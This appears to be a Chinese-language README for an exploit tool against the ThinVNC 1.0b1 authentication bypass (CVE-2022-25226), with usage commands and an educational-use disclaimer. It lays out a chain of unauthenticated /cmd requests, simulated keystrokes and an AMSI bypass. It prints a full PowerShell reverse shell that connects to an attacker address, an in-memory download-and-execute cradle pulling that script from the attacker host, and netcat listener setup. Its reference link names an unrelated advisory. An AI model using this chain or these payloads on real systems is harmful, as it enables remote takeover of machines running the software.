
针对ThinVNC 1.0b1身份验证绕过(CVE-2022-25226)的Python利用脚本,它将非认证的/cmd端点访问与AMSI绕过及剪贴板注入相结合,以传递一个反向shell。
作者: krill-x7
参考: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 包含一个认证绕过漏洞(CVE-2022-25226),允许远程攻击者未经认证与后端交互。通过利用暴露的 /cmd 端点,攻击者可以模拟按键、打开 PowerShell、绕过 AMSI 并执行任意命令——最终导致远程代码执行(RCE)。
此脚本将这些原语串联起来,以在目标系统上获得一个反向 shell。
此代码仅用于教育目的。
请仅在您拥有或明确授权测试的系统上使用。
rev.ps1 反向 shell 脚本python3 thinvnc_rce.py -t <目标IP> -tp <目标端口> -a <攻击者IP> -ap <攻击者端口>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1将此内容保存到一个名为 rev.ps1 的文件中。
重要: 将 192.168.1.200 和 8000 替换为你的攻击者 IP 和监听端口。
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1在同一目录下运行:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect 获取一个有效的 SID。/cmd?cmd=start 以键盘/鼠标访问方式启动该 SID。Ctrl+Esc 组合键以打开开始菜单。这是在内存中执行的 payload:
IEX((New-Object System.Net.WebClient).DownloadString('http://<攻击者IP>:<端口>/rev.ps1'))
将 <攻击者IP> 和 <端口> 替换为你的实际 IP 和端口。
/cmd 端点。